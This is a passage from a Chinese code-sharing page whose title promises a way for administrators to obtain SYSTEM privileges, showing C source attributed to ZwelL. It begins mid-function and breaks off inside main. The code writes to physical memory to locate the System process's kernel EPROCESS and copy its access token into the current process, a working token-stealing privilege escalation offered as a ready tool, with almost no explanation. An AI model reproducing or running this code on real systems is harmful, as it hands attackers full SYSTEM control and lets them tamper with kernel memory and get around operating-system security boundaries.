📄 管理员组获取系统权限的完美解决方案.html
字号:
}<br />
}<br />
else return 0;<br />
<br />
return (PVOID)PAddr;<br />
}<br />
<br />
<br />
<br />
ULONG GetData(PVOID addr)<br />
{<br />
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);<br />
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);<br />
if (tmp==0)<br />
return 0;<br />
ULONG ret=tmp[(phys & 0xFFF)>>2];<br />
UnmapViewOfFile(tmp);<br />
return ret;<br />
}<br />
<br />
BOOL SetData(PVOID addr,ULONG data)<br />
{<br />
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);<br />
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);<br />
if (tmp==0)<br />
return FALSE;<br />
tmp[(phys & 0xFFF)>>2]=data;<br />
UnmapViewOfFile(tmp);<br />
return TRUE;<br />
}<br />
<br />
DWORD MyGetModuleBaseAddress( char * pModuleName)<br />
{<br />
PSYSTEM_MODULE_INFORMATION pSysModule; <br />
<br />
ULONG uReturn;<br />
ULONG uCount;<br />
PCHAR pBuffer = NULL;<br />
PCHAR pName = NULL;<br />
NTSTATUS status;<br />
UINT ui;<br />
CHAR szBuffer[10];<br />
DWORD pBaseAddress;<br />
<br />
status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );<br />
pBuffer = ( PCHAR )malloc(uReturn);<br />
if ( pBuffer )<br />
{<br />
status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );<br />
if( NT_SUCCESS(status) )<br />
{<br />
uCount = ( ULONG )*( ( ULONG * )pBuffer );<br />
pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );<br />
for ( ui = 0; ui < uCount; ui++ )<br />
{<br />
pName = strstr( pSysModule->ImageName, pModuleName );<br />
if( pName )<br />
{<br />
pBaseAddress = (DWORD)pSysModule->Base;<br />
free( pBuffer );<br />
return pBaseAddress;<br />
}<br />
pSysModule ++;<br />
}<br />
}<br />
<br />
free( pBuffer );<br />
}<br />
<br />
return NULL;<br />
}<br />
<br />
DWORD GetEprocessFromId (DWORD PID)<br />
{<br />
NTSTATUS status;<br />
PVOID buf = NULL;<br />
ULONG size = 1;<br />
ULONG NumOfHandle = 0;<br />
ULONG i;<br />
PSYSTEM_HANDLE_INFORMATION h_info = NULL;<br />
DWORD n;<br />
DWORD retvalue=0;<br />
<br />
buf=malloc(0x1000);<br />
if(buf == NULL)<br />
{<br />
printf("malloc wrong\n");<br />
return FALSE;<br />
}<br />
status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );<br />
if(STATUS_INFO_LENGTH_MISMATCH == status)<br />
{<br />
free(buf);<br />
buf=malloc(n);<br />
if(buf == NULL)<br />
{<br />
printf("malloc wrong\n");<br />
return FALSE;<br />
}<br />
status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);<br />
}<br />
else<br />
{<br />
printf("ZwQuerySystemInformation wrong\n");<br />
return FALSE;<br />
}<br />
<br />
NumOfHandle = *(ULONG*)buf;<br />
<br />
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);<br />
<br />
for(i = 0; i<NumOfHandle ;i++)<br />
{<br />
if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 ))<br />
{<br />
retvalue=(DWORD)(h_info[i].Object);<br />
break;<br />
}<br />
}<br />
<br />
if ( buf != NULL )<br />
{<br />
free( buf );<br />
}<br />
return retvalue;<br />
}<br />
<br />
void usage(char *exe)<br />
{<br />
printf("Usage : %s [exefile|-h]\n");<br />
}<br />
<br />
int main(int argc, char **argv)<br />
{<br />
HMODULE hDll;<br />
DWORD tmp;<br />
DWORD SystemEprocess;<br />
DWORD SystemEprocessTokenValue;<br />
DWORD CurrentEprocess;<br />
DWORD CurrentEprocessTokenValue;<br />
<br />
printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");<br />
printf("\tMade by ZwelL.\n");<br />
printf("\tZwell@sohu.com.\n");<br />
printf("\thttp://www.donews.net/zwell.\n");<br />
printf("\tType -h to get more information\n", argv[0]);<br />
<br />
if( argc>=2)<br />
{<br />
if(<br />
( (strcmp(argv[1],"-h")==0) && (argc==2))<br />
|| (argc>2) <br />
)<br />
{<br />
usage(argv[0]);<br />
exit(-1);<br />
}<br />
}<br />
<br />
if (!InitNTDLL())<br />
{<br />
printf("InitNTDLL wrong\n");<br />
exit(-1);<br />
}<br />
<br />
if (OpenPhysicalMemory()==0)<br />
{<br />
printf("OpenPhysicalMemory wrong\n");<br />
exit(-1);<br />
}<br />
<br />
hDll = LoadLibrary("ntoskrnl.exe");<br />
tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");<br />
tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;<br />
SystemEprocess=GetData((PVOID)tmp);<br />
tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address<br />
SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token<br />
printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);<br />
<br />
OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );<br />
CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());<br />
CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));<br />
<br />
printf("Current EPROCESS : %08x\n", CurrentEprocess);<br />
printf("Current Process Token : %08x\nPress ENTER to continue...\n", <br />
CurrentEprocessTokenValue);<br />
//getchar();<br />
SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);<br />
printf("Current Process Token : %08x\n", <br />
GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));<br />
printf("Press ENTER to create process...\n");<br />
//getchar();<br />
<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -